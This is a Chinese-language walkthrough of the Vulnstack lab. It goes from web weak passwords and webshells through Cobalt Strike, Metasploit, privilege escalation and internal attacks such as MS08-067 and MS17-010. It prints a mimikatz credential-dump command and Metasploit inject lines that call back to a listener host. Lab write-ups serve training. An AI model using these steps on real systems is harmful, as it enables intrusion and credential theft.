一、环境配置
1、下载靶场
- 下载靶场(win7+win2003+win2008),下载攻击机kalilinux
- 下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
- 靶机通用密码: [email protected](密码过长建议修改)
2、网卡配置
- kali一个nat网卡,模拟外网攻击机
- win7一个nat网卡,一个VMnet 2网卡,模拟web服务器
- win2003一个VMnet 2网卡,模拟内网域成员主机
- win2008一个VMnet 2网卡,模拟内网域控主机
3、检测联通性
- 1、win7能ping通所有主机,所有主机都ping不通win7,因为win7的防火墙过滤了icmp
- 2、win2003和win2008能互通
遇到的问题:配置好网卡后发现win7的net网卡获取不到地址,dhcp自动生成169.254.0.0/16的地址
解决反法:将虚拟机网卡顺序调对,网卡一是VMnet2,网卡2是nat,如下图
问题原因:自行理解
4、开启web服务
- 在win7上使用phpstudy开启web服务
- 通过使用win7访问127.0.0.1检测web服务是否开启
二、信息收集
1、使用Nmap扫描
- 得知目标开放了80端口
2、使用kali访问目标80端口
- 通过访问web服务,搜集了到phpinfo信息,管理员邮箱,绝对路径,版本信息
遇到问题:kali访问不了win7的web服务
解决办法:将net网卡修改成公用网络
问题原因:自行理解
3、使用御剑后台扫描工具扫描
- 得到phpmyadmin界面
- 还有一个beifen.rar备份文件
- 下载查看beifen.rar,打开robots.txt文件
- 发现可能是网站中的yxcms,尝试访问
三、漏洞利用
1、yxcms漏洞(信息泄露+后台弱密码):
使用默认密码成功登入后台
2、phpadmin弱口令漏洞
使用root/root登入该网站的phpadmin页面,成功登入
3、yxcms的留言板存在存储型xss漏洞
在留言板中插入xss测试代码
登入后台查看留言管理,出现弹框
4、yxcms后台存在任意文件读写漏洞
进入网站后台,在前台模板的default模板中新增一句话木马文件
根据之前下载的备份文件,找出写入一句话木马的文件路径
找到路径后测试一下木马是否可用
使用中国菜刀连接一句话木马
5、phpmyadmin全局日志getshell
使用root/root登入phpmyadmin,查询全局日志文件
开启general_log,并指定新的日志文件
验证是否修改成功
写入一句话木马
使用菜刀连接
6、反弹shell
使用msfvenom生成payload文件,使用菜刀上传到www目录下
使用handler模块接收反弹模块,在6666端口上进行监听,访问shell.php,连接成功
7、提权
1、getsystem提权
2、保存会话后,可使用以下绕过UAC的模块进行提权
3、可以使用windwos ms系列未修补漏洞进行提权,如ms16-032、ms17-010等。
用菜刀连接后打开虚拟终端,使用systeminfo命令查看目标打了什么补丁,再使用window提权辅助页面搜索对应的可利用exp进行提权
8、使用Cobalt Strike
1. 下载Cobalt Strike
去网上下一个cs,复制到kali系统
2.开启Cobalt Strike
给服务端程序执行权限
执行cs服务端程序,开启服务,ip是kali的ip,密码是123
重新打开一个终端,在kali上执行cs客户端程序,用户名随意,密码123
创建一个监听器,ip就是kali的ip
生成生成Web Delivery
选择刚刚创建的那个Listener
会生成一条命令,使用菜刀连接webshell,打开虚拟终端,输入这条命令
目标主机就上线了,你就可以使用cs对它进行操作啦
比如屏幕截图,右击连接->Explore->Screenshot,再点击上面的图片小图片进入屏幕截图视图(点击View-Screenshot也行),就能看到目标的屏幕截图了
9、系统信息收集
10、主机密码收集
1、使用cs
使用 hashdump 和 logonpasswords 读内存和注册表密码,在 Credentials 模块下查看
2、使用mimikatz.exe程序
mimikatz.exe “privilege::debug” “log” “sekurlsa::logonpasswords” exit
11、远程桌面链接
使用msf开启3389端口
使用抓到的域名和主机密码登入,远程桌面命令mstsc
12、CS与MSF联动
CS下的会话传给MSF
使用msf监听模块,ip就是kali的ip,端口就是监听的端口,payload要和cs相同,然后运行,开始监听
cs创建一个listener,ip也是kali的ip端口和kali监听端口一样,使用payload为Foreign HTTP
右击要传的会话,点击Spawn,选择foregin http那个listense
等它执行完命令,msf就会出现一个meterpreter
MSF下的会话传给CS
msf使用注入模块 + cs创建Listener监听 (相同payload)
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost (cs listener ip)
set lport (cs listener port)
set session (id)
run
使用cs的socks功能将msf带入内网
cs配置:
打开会话,输入socks 1234(空格不能多)
进入代理视图,选中会话点击Tunnel,复制生成的文字
msf配置:
粘贴cs生成的命令 setg Proxies socks4:127.0.0.1:1234
setg ReverseAllowProxy true 允许反向代理
修改/etc/proxychains.conf文件
使用msf的扫描模块扫描内网主机
四、内网信息收集
1、补丁信息收集
2、安装软件信息
3、路由信息
添加路由,使得 MSF 能够通过 Win7 路由转发访问192.168.52.0 网段
4、arp扫描52网段
5、关闭防火墙,再使用nmap扫描
6、使用nmap的vuln漏洞扫描脚本进行扫描
7、使用msf辅助模块进行扫描,查看是否存在ms17-010漏洞
8、在cs上使用目标机器上的nmap,对内网其他主机进行扫描
- 注:有时beacon连接会执行不了命令,或者连接断开,或者制作不了scripted web delivery这时要重启一下cs服务器。
- 主机192.168.52.141信息
- 主机192.168.52.138信息
五、内网攻击
1、MS08-067
使用cs将msf带入内网后,使用ms08-067攻击模块攻击内网主机,注意使用的是反向代理,所以这里payload需要使用正向
2、SMB远程桌面口令猜测
使用msf的smb口令猜测模块,配置参数用于smb口令爆破
3、RPC DCOM 服务漏洞
漏洞原理:
微软修改 dcerpc 框架后形成自己的 RPC 框架来处理进程间的通信。微软的 RPC 框架在处理 TCP/IP 信息交换过程中存在的畸形消息时,未正确处理,导致缓冲区溢出漏洞;
此漏洞影响使用 RPC 框架的 DCOM 接口,DCOM 接口用来处理客户端机器发送给服务器的 DCOM 对象激活请求,如 UNC 路径
漏洞利用:
4、ms17-010
打2k8试下,也蓝屏
请登录后发表评论
注册